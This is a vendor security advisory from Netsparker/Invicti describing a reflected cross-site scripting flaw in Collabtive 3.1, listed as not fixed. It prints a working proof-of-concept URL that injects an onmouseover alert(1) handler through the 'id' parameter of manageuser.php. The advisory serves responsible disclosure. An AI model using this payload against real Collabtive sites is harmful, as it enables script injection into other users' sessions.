Information
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Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting in Collabtive 3.1
Affected Software: Collabtive
Affected Versions: 3.1
Homepage: https://www.collabtive.com/
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVSS Score (3.0): AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-052

Technical Details
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URL : http://{DOMAIN}/{PATH-OF-COLLABTİVE}/manageuser.php?action=profile&id=x%22%20onmouseover=alert(1)%20x=%22
Parameter Name : id
Parameter Type : GET
Attack Patern : x” onmouseover=alert(1) x=”

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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14th May 2018 - First Contact Attempt
30th January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.